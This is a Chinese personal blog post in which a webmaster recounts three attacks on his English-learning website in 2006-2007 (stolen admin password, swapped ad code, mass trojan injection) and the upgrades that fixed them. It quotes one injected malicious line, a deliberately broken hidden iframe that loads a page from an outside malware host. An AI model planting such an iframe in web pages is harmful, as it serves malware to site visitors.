02
December 英语坊半年来被黑客攻击的3次经历
昨晚写了一篇文章，《一个不得不说的网站过度优化的经历》。不知为何有人骂SB，说这是软文，我也不知道是不是软文，管他呢，咱照写不误。admin5提供的就是这个服务。不过，本人申明，我所写的均属事实。
这半年站来，我的英语坊网被黑客攻击3次，使用了3种方式。好在有朋友帮忙，一一化解。不知道还有没有第4次，或更多次。
第一次：2006年11初。网站adsense代码被换，黑客使用的手段是盗用了我的管理员密码。如何盗用的，未知。
反击手段：更换管理员密码。
第二次：2007年4月初，网站adsense代码再次被换，攻击手段不明，应该是被放了木马，数据库里多出一个数据文件，然后利用这个文件，来替代静态文件的代码。
反击手段：没有手段，四处求助后，只有升级这一条路。
第三次：4月14日，网站文件被黑客置入木马，英语坊网站的100多个文件都有木马；另一个网站，全站近万个文件全是木马。
木马代码：<if rame src= http://www.ll78.cn/mmmm.htm width=100 height=0>
（我不懂技术，不知道把这个代码贴在这，会不会有事？只是把结束标识去掉了）
反击手段：升级。从动网的4.3升到4.5。
升级之后，现在看来一切OK了。开心，虽然网站也有损失，但权当算是一次经历吧。
还有一件事，比较“好玩”，算是网站克隆吧。这几天发现这样一个网址：www.enfang.com.liiil.cn ，想来域名是liiil.cn，它在克隆英语坊网站，呵。真是人小事微，到处受欺负。
Posted by HENRY under gznq.com | Comment now » |
